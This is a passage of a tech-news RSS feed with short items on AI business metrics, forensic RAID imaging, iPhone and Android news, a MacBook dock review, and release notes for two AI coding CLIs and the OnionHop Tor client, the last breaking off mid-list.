<p class="wp-block-paragraph">While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.</p>



<p class="wp-block-paragraph">It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.</p>



<p class="wp-block-paragraph"><em>The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst &amp; Young LLP or other members of the global EY organization.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Investigating Synology RAID: Reassembly & Logical Imaging With Atola TaskForce 2]]></title>
<description><![CDATA[Author: Forensic Focus: Digital Forensics & DFIR - Bewertung: 0x - Views:1206 This video demonstrates how digital forensic investigators can quickly reconstruct a proprietary Synology RAID, browse the file system before imaging, and perform targeted logical imaging instead of acquiring the entire...]]></description>
<link>https://tsecurity.de/de/3688731/it-security-video/investigating-synology-raid-reassembly-logical-imaging-with-atola-taskforce-2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688731/it-security-video/investigating-synology-raid-reassembly-logical-imaging-with-atola-taskforce-2/</guid>
<pubDate>Thu, 23 Jul 2026 12:35:41 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Forensic Focus: Digital Forensics &amp; DFIR - Bewertung: 0x - Views:1206 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/QsVck9hYOw0?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>This video demonstrates how digital forensic investigators can quickly reconstruct a proprietary Synology RAID, browse the file system before imaging, and perform targeted logical imaging instead of acquiring the entire multi-terabyte array.<br />
<br />
In this video, TaskForce 2:<br />
<br />
 -  Automatically detects Synology SHR and SHR-2 configurations<br />
<br />
 -  Reconstructs RAID with no manual setup<br />
<br />
 -  Lets you browse evidence before imaging<br />
<br />
 -  Creates logical image of selected files and folders<br />
<br />
 -  Recovers data from missing or damaged drives using RAID parity<br />
<br />
If you're working with a NAS holding many terabytes of data and you just need a few key files, this workflow gets you there faster – without cutting corners on integrity.<br />
<br />
⏱️ Timestamps<br />
<br />
00:00 Intro<br />
00:15 The problem with Synology RAID reassembly<br />
01:10 How standard RAID works<br />
01:20 What is Synology SHR<br />
03:31 TaskForce 2: built for Synology RAID<br />
03:35 Step 1: Connect sources<br />
03:58 Step 2: RAID autodetection<br />
03:50 Step 3: Review before imaging<br />
04:23 Step 4: Logical imaging<br />
05:01 Step 5: Missing/damaged RAID recovery<br />
<br />
📝Resources:<br />
<br />
🔗 Learn more about Atola TaskForce 2 RAID capabilities: https://atola.com/products/taskforce/forensic-raid-image.html<br />
<br />
🔗 Follow Atola on LinkedIn:  https://www.linkedin.com/company/atola-technology/<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[iPhone Air 2 Release Date, Features, Camera, Battery and Everything We Know]]></title>
<description><![CDATA[Apple is already working on the second-generation iPhone Air, and early reports suggest it will fix several of the biggest complaints about the first model. While the original iPhone Air impressed buyers with its ultra-thin design, many users wanted better cameras, longer battery life, and improv...]]></description>
<link>https://tsecurity.de/de/3688250/ios-mac-os/iphone-air-2-release-date-features-camera-battery-and-everything-we-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688250/ios-mac-os/iphone-air-2-release-date-features-camera-battery-and-everything-we-know/</guid>
<pubDate>Thu, 23 Jul 2026 09:13:24 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is already working on the second-generation iPhone Air, and early reports suggest it will fix several of the biggest complaints about the first model. While the original iPhone Air impressed buyers with its ultra-thin design, many users wanted better cameras, longer battery life, and improved sustained performance.



The upcoming iPhone Air 2 is expected to bring meaningful hardware upgrades while keeping the slim design that defines the Air lineup. Apple also appears to be changing its iPhone launch strategy, which means the next Air model may not arrive alongside the Pro models as many expected.



iPhone Air 2 at a glance



FeatureExpected DetailsRelease windowSpring 2027ProcessorA20 Pro built on 2nm processRear camerasDual cameras with Wide + Ultra WideBatteryAround 3,500mAhCoolingVapor chamber coolingDesignSimilar ultra-thin chassis



Will Apple release an iPhone Air 2?



There were reports earlier that Apple had paused development because the first iPhone Air did not sell as well as expected. 



Later reports clarified that Apple had not canceled the device. Instead, the company shifted its roadmap and continues to develop a second-generation model, which is currently believed to be in advanced testing under the internal codename V62.



A second rear camera is finally coming







The biggest limitation of the current iPhone Air is its single rear camera. Apple reportedly plans to solve that by adding a second lens.



Instead of using a telephoto camera, the company is expected to include an Ultra Wide sensor. This setup would match Apple's standard iPhone models and make the Air much more versatile for photography.



Expected camera improvements




48MP primary Wide camera



Ultra Wide secondary camera



Better landscape photography



Improved macro capabilities



More flexibility for video recording




A telephoto lens is still expected to remain exclusive to Pro models.



A20 Pro chip with 2nm technology







Another major upgrade is the processor.



The iPhone Air 2 is expected to use Apple's new A20 Pro chip, making it one of the first iPhones built on a 2-nanometer manufacturing process.



Apple is also expected to adopt Wafer-Level Multi-Chip Module technology, which integrates memory and the processor more efficiently. This design should improve both performance and power efficiency.



Expected benefits




Faster CPU performance



Better graphics performance



Lower power consumption



Improved AI processing



Longer battery life through better efficiency




Bigger battery without sacrificing thinness







Battery life was another common complaint about the first iPhone Air. Apple reportedly plans to address that with both hardware and silicon improvements.



Supply chain information suggests the iPhone Air 2 will include a battery around 3,500mAh, compared to the current 3,149mAh battery.



That represents roughly an 11 percent increase in capacity before accounting for the efficiency gains from the A20 Pro chip. While Apple has not confirmed real-world battery figures, users should expect noticeably longer endurance than the current generation.



Vapor chamber cooling arrives







Apple first introduced vapor chamber cooling on its Pro iPhones, and the technology is now expected to reach the Air lineup.



This cooling system spreads heat more effectively across the phone, allowing the processor to maintain higher performance during demanding workloads.



That means users can expect:




Better gaming performance



Less thermal throttling



Cooler temperatures during extended use



More stable performance while editing videos or using AI features




Expected release date



Apple originally planned to launch the iPhone Air 2 alongside the iPhone 18 Pro lineup in September 2026.



More recent reports point to a different strategy.



Apple is now expected to launch:



ProductExpected launchiPhone 18 ProFall 2026iPhone 18 Pro MaxFall 2026Foldable iPhoneFall 2026iPhone 18Spring 2027iPhone Air 2Spring 2027



This split launch schedule would allow Apple to focus premium devices in the fall while introducing mainstream models several months later.



Wrap Up



Based on current reports, the iPhone Air 2 looks like a much more complete device than its predecessor. A second rear camera, a larger battery, a faster A20 Pro chip, and vapor chamber cooling directly address the biggest compromises of the first-generation model while preserving its ultra-thin design.



As with all early Apple leaks, these details remain unofficial until the company makes an announcement. If the current roadmap stays on track, the iPhone Air 2 should arrive in spring 2027 with a stronger feature set and a better balance between portability and everyday performance.]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Makes Switching From iPhone Easier With Android 17]]></title>
<description><![CDATA[Switching from iPhone to Android is becoming much easier with Android 17, thanks to a new built-in wireless transfer system that supports more personal data and removes the need for a separate migration app.



Android 17 Transfers More iPhone Data



Google’s upgraded Android Switch experience c...]]></description>
<link>https://tsecurity.de/de/3687946/ios-mac-os/google-makes-switching-from-iphone-easier-with-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687946/ios-mac-os/google-makes-switching-from-iphone-easier-with-android-17/</guid>
<pubDate>Thu, 23 Jul 2026 06:12:12 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Switching from iPhone to Android is becoming much easier with Android 17, thanks to a new built-in wireless transfer system that supports more personal data and removes the need for a separate migration app.



Android 17 Transfers More iPhone Data



Google’s upgraded Android Switch experience can move photos, videos, contacts, messages, calendar events, saved passwords, Wi-Fi credentials, Google Account details, and an eSIM from an iPhone to a compatible Android phone.



The transfer takes place wirelessly while users set up their new Android device. Since the tool is built directly into Android 17, users do not need to find the correct cable, install another app, or manually sign in to every service.



Moving Google Account information also means users can arrive on their new phone already signed in. Transferring saved passwords and Wi-Fi details should further reduce the amount of setup required after the migration finishes.



An iPhone With iOS 26.3 Is Required



The iPhone must run iOS 26.3 or later, while the receiving phone needs a compatible version of Android 17. Apple also provides the transfer option through the iPhone’s Settings app, where users can begin moving their data and supported eSIM.



Users should keep both phones close together and connected throughout the process. Carrier support can also affect whether an eSIM transfers successfully.



Available on Pixel and Samsung Phones



The improved switching experience has started rolling out to select Pixel devices. Google says it will also be available on Samsung’s Galaxy Z Flip8 and Galaxy Z Fold8, with support planned for more Android phones.



The update makes changing mobile platforms less time-consuming, especially for people who previously avoided switching because their passwords, network settings, or mobile number were difficult to move.]]></content:encoded>
</item>
<item>
<title><![CDATA[Brydge ProDock Trio review: An elite space-saving MacBook dock]]></title>
<description><![CDATA[The Brydge ProDock Trio is a rarity amongst Thunderbolt docks, offering a compact vertical MacBook stand alongside a MagSafe phone charger.Brydge ProDock Trio review: Sitting on my desk and freeing spaceAll USB-C and Thunderbolt docks I've tested have been largely the same as boxes that connect w...]]></description>
<link>https://tsecurity.de/de/3687803/ios-mac-os/brydge-prodock-trio-review-an-elite-space-saving-macbook-dock/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687803/ios-mac-os/brydge-prodock-trio-review-an-elite-space-saving-macbook-dock/</guid>
<pubDate>Thu, 23 Jul 2026 02:12:19 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Brydge ProDock Trio is a rarity amongst Thunderbolt docks, offering a compact vertical MacBook stand alongside a <a href="https://appleinsider.com/inside/magsafe" title="MagSafe" data-kpt="1">MagSafe</a> phone charger.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68297-143984-Brydge-ProDock-on-Desk-xl.jpg" alt="Minimalist desk setup with a black vertical laptop stand, smartphone, small potted plant, camera lens-shaped cup, and a white trackpad on a gray desk mat against a soft blue background" height="738"><br><span>Brydge ProDock Trio review: Sitting on my desk and freeing space</span></div><br>All USB-C and Thunderbolt docks I've tested have been largely the same as boxes that connect with a bundled cable. They have different ports and different technical specs.<br><br>Brydge goes a different route, opting for a new version of its vertical ProDock. Your <a href="https://appleinsider.com/inside/mac" title="Mac" data-kpt="1">Mac</a> is physically docked in the device, working in clamshell mode and keeping your desk free and open.<br><br><br> <a href="https://appleinsider.com/articles/26/07/23/brydge-prodock-trio-review-an-elite-space-saving-macbook-dock?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245030?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.218]]></title>
<description><![CDATA[What's changed

Changed /code-review to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target
Added screen-reader announcements of deleted text for word and line deletions (Option+Delete, Ctrl+W, Cmd+Backspace, Ctrl+U,...]]></description>
<link>https://tsecurity.de/de/3687638/downloads/v21218/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687638/downloads/v21218/</guid>
<pubDate>Wed, 22 Jul 2026 23:32:59 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Changed <code>/code-review</code> to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target</li>
<li>Added screen-reader announcements of deleted text for word and line deletions (<code>Option+Delete</code>, <code>Ctrl+W</code>, <code>Cmd+Backspace</code>, <code>Ctrl+U</code>, <code>Ctrl+K</code>) in <code>--ax-screen-reader</code> mode</li>
<li>Fixed Windows paths with <code>\u</code>-prefixed segments (like <code>C:\Users\unicorn</code>) being corrupted into CJK characters in tool inputs, which made those files inaccessible</li>
<li>Fixed the left arrow key discarding the conversation with no undo: presses right after editing now ask to confirm, and Esc in the agent view returns to the conversation it backgrounded</li>
<li>Added HTTP status and error text to <code>claude mcp list</code> and <code>/mcp</code> when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace</li>
<li>Fixed multi-line paste collapsing into one line with <code>j</code> in place of newlines in terminals that encode pasted newlines as Ctrl+J</li>
<li>Fixed <code>/context</code> reporting stale pre-compact token usage after compacting from the message picker</li>
<li>Fixed <code>/ultrareview</code> failing on descriptive arguments like "review my auth changes" — they now run a review of your current branch with the text applied as a note to the findings</li>
<li>Fixed <code>/code-review ultra</code> silently running a local review in non-interactive sessions — it now launches the cloud review</li>
<li>Fixed gateway spend metering to price Bedrock application-inference-profile ARNs and other config-mapped upstream model IDs at the configured model's rates</li>
<li>Fixed mojibake when a long IDE selection was truncated mid-emoji, and a case where a tool executor error could be silently dropped</li>
<li>Fixed an engine teardown race that could start and abandon a phantom turn, and made input pushed after close consistently rejected</li>
<li>Fixed spurious "[Request interrupted by user]" messages after interrupted tool calls, and an unpaired <code>tool_use</code> block left in the transcript when a tool aborted mid-response</li>
<li>Fixed VoiceOver reading "new line" instead of echoing the typed space at the end of the input in <code>--ax-screen-reader</code> mode</li>
<li>Fixed plugin and settings panels not moving the terminal cursor to the focused row, so screen readers and magnifiers can follow arrow-key navigation</li>
<li>Fixed crashes (maximum call stack exceeded) when a deeply nested watched directory tree was deleted or moved, and when rendering deeply nested UI trees</li>
<li>Fixed pull request events occasionally being lost when a session exited immediately after creating or linking a PR</li>
<li>Fixed the Bedrock setup wizard failing profile verification for assume-role profiles in partitioned AWS regions and on proxy-only networks</li>
<li>Fixed rare negative or incorrect turn duration measurements after a system clock adjustment by timing turns with a monotonic clock</li>
<li>Fixed the "N MCP servers need authentication" startup notice over-counting claude.ai connectors that aren't connected in claude.ai</li>
<li>Fixed prompt history entries being dropped or duplicated when history writes raced or failed</li>
<li>Fixed a retry loop that re-sent identical doomed requests after a context-overflow error with a large thinking budget; <code>Ctrl+B</code> backgrounding now applies the same background-shell caps as other paths</li>
<li>Fixed agent frontmatter hooks running from untrusted folders: hooks now require the agent file's own folder to have accepted workspace trust</li>
<li>Fixed fork-session lineage being lost after compaction in headless and SDK sessions</li>
<li>Fixed a resumed session failing every turn, or crashing on resume, when its history held a malformed delta attachment</li>
<li>Improved <code>/ultrareview</code> error feedback so Claude can correct an invalid argument instead of retrying it unchanged</li>
<li>Improved auto mode: the dangerous-rm, background-<code>&amp;</code>, and suspicious-Windows-path checks no longer open permission dialogs; the auto-mode classifier adjudicates them instead</li>
<li>Improved sandbox command restrictions for IDE interactions</li>
<li>Improved trust dialogs to name the repository root the grant covers</li>
<li>Changed <code>/deep-research</code> to start only when invoked manually; Claude no longer launches it on its own</li>
<li>Changed plan mode with auto to no longer prompt for Bash commands the static analyzer can't prove read-only; the auto-mode classifier judges them instead</li>
<li>Added an announcement when fast mode changes as a result of switching models via <code>/config model=&lt;x&gt;</code> or Remote Control</li>
<li>Changed server-managed settings so benign feature and cost toggles no longer trigger the settings-approval prompt</li>
<li>Changed agent markdown files to reject agent names containing <code>:</code>, which is reserved for plugin namespacing</li>
<li>Changed skills with <code>context: fork</code> to run in the background by default; opt out per skill with <code>background: false</code></li>
<li>Added <code>yes</code>/<code>no</code>/<code>on</code>/<code>off</code>/<code>1</code>/<code>0</code> (case-insensitive) as accepted values for skill and plugin frontmatter booleans, alongside <code>true</code>/<code>false</code></li>
<li>Fixed remote sessions continuing to send heartbeats after their worker was replaced, which left long-lived desktop and IDE processes retrying a rejected request every few seconds forever</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0]]></title>
<description><![CDATA[What's Changed

Refactor: exclude transient CI configuration files from workspace context by @DavidAPierce in #28216
feat(caretaker-triage): add triage worker core foundational modules by @chadd28 in #28163
feat(caretaker-egress): implement octokit github action handler for egress service by @cha...]]></description>
<link>https://tsecurity.de/de/3687569/downloads/release-v0520/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687569/downloads/release-v0520/</guid>
<pubDate>Wed, 22 Jul 2026 22:53:01 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Refactor: exclude transient CI configuration files from workspace context by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4771753114" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28216" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28216/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28216">#28216</a></li>
<li>feat(caretaker-triage): add triage worker core foundational modules by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753861958" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28163" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28163/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28163">#28163</a></li>
<li>feat(caretaker-egress): implement octokit github action handler for egress service by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830419267" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28303" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28303/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28303">#28303</a></li>
<li>chore(release): bump version to 0.52.0-nightly.20260707.g27a3da3e8 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840274631" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28323" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28323/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28323">#28323</a></li>
<li>Changelog for v0.51.0-preview.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4839873704" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28320" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28320/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28320">#28320</a></li>
<li>Changelog for v0.50.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840167585" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28322" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28322/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28322">#28322</a></li>
<li>fix(core-tools): bypass LLM correction for JSON and IPYNB files in write_file and replace by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4780686006" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28223" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28223/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28223">#28223</a></li>
<li>fix(core): use unambiguous previous intent label in fallback summary by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848950194" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28343" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28343/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28343">#28343</a></li>
<li>feat(caretaker-triage): implement main worker execution loop and egress action publisher by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832842460" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28306" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28306/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28306">#28306</a></li>
<li>fix(privacy): show a clear message when the account has no Code Assist tier by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ompatel-aiml/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ompatel-aiml">@ompatel-aiml</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830501064" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28304" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28304/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28304">#28304</a></li>
<li>fix(core): enrich shared project quota limit errors with setup hint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4875463769" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28391" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28391/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28391">#28391</a></li>
<li>fix(a2a-server): ensure task cancellation aborts execution loop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4838860348" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28316" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28316/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28316">#28316</a></li>
<li>fix(core): simplify plan mode write policy to support relative paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4876823809" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28398" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28398/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28398">#28398</a></li>
<li>feat(core): Bump node google-auth-library version to 10.9.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerrylin3321/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerrylin3321">@jerrylin3321</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4869745101" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28385" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28385/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28385">#28385</a></li>
<li>chore/release: bump version to 0.52.0-nightly.20260715.gfa975395b by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4888459983" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28402" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28402/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28402">#28402</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.51.0...v0.52.0"><tt>v0.51.0...v0.52.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Refresh Token Rotation in Node.js: Stopping Token Theft Without Logging Users Out]]></title>
<description><![CDATA[JWT-based authentication is simple to start with and surprisingly hard to get right. The naive setup of a long-lived access token stored in the browser is a security liability. The textbook fixes short-lived access tokens plus a refresh token —…
Read more →
The post Refresh Token Rotation in Node...]]></description>
<link>https://tsecurity.de/de/3687406/it-security-nachrichten/refresh-token-rotation-in-nodejs-stopping-token-theft-without-logging-users-out/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687406/it-security-nachrichten/refresh-token-rotation-in-nodejs-stopping-token-theft-without-logging-users-out/</guid>
<pubDate>Wed, 22 Jul 2026 21:08:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>JWT-based authentication is simple to start with and surprisingly hard to get right. The naive setup of a long-lived access token stored in the browser is a security liability. The textbook fixes short-lived access tokens plus a refresh token —…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/refresh-token-rotation-in-node-js-stopping-token-theft-without-logging-users-out/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/refresh-token-rotation-in-node-js-stopping-token-theft-without-logging-users-out/">Refresh Token Rotation in Node.js: Stopping Token Theft Without Logging Users Out</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.6]]></title>
<description><![CDATA[The scanner release. The Scanner page gains two long-requested tools, plus a round of bridge-tab refinements and fixes driven by community feedback.
Added

SNI scanner (Scanner → SNI Scanner). Finds SNI/front hosts that work on your network via real TLS handshakes. Domain mode tests a list of can...]]></description>
<link>https://tsecurity.de/de/3687279/it-security-tools/onionhop-36/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687279/it-security-tools/onionhop-36/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:20 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The scanner release. The Scanner page gains two long-requested tools, plus a round of bridge-tab refinements and fixes driven by community feedback.</p>
<h3>Added</h3>
<ul>
<li><strong>SNI scanner</strong> (Scanner → SNI Scanner). Finds SNI/front hosts that work on your network via real TLS handshakes. <strong>Domain mode</strong> tests a list of candidate domains as SNI on :443; <strong>Range mode</strong> tests one SNI across an IPv4 CIDR range (bounded). Working hosts can be applied as your custom SNI hosts (used by fronted webtunnel/meek/snowflake bridges) or saved to the library. Green = handshake completed (usable), red = blocked/reset.</li>
<li><strong>Saved-bridges library</strong> (Scanner → Saved). Bridges from the bridge scanner and hosts from the SNI scanner can be saved to a persistent library, then labelled, re-applied or removed later - scan results are no longer lost when the scan finishes. Both scanners gained a <strong>Save to Library</strong> action.</li>
<li><strong>Current Bridge tab: per-row copy + sortable columns</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4792201997" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/69" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/69/hovercard" href="https://github.com/center2055/OnionHop/issues/69">#69</a>). Each bridge row has a one-tap copy button, and the Type / Address / Status headers sort on click (click again to reverse); the bridge currently in use stays pinned to the top.</li>
<li><strong>Bridge copy/export refinement</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4623180884" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/56" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/56/hovercard" href="https://github.com/center2055/OnionHop/issues/56">#56</a>). Copy on the Current Bridge tab now returns only the bridge Tor is actually using (not the whole supplemented list), and Export writes a CSV with Type, Address, Status, Fingerprint and the raw line.</li>
<li><strong>CLI <code>scan &lt;type&gt; --use</code>.</strong> After probing, the reachable bridges are saved as your custom list and selected as the source, so the next <code>connect</code> uses exactly those - the command-line equivalent of the GUI scanner's Apply button.</li>
</ul>
<h3>Fixed</h3>
<ul>
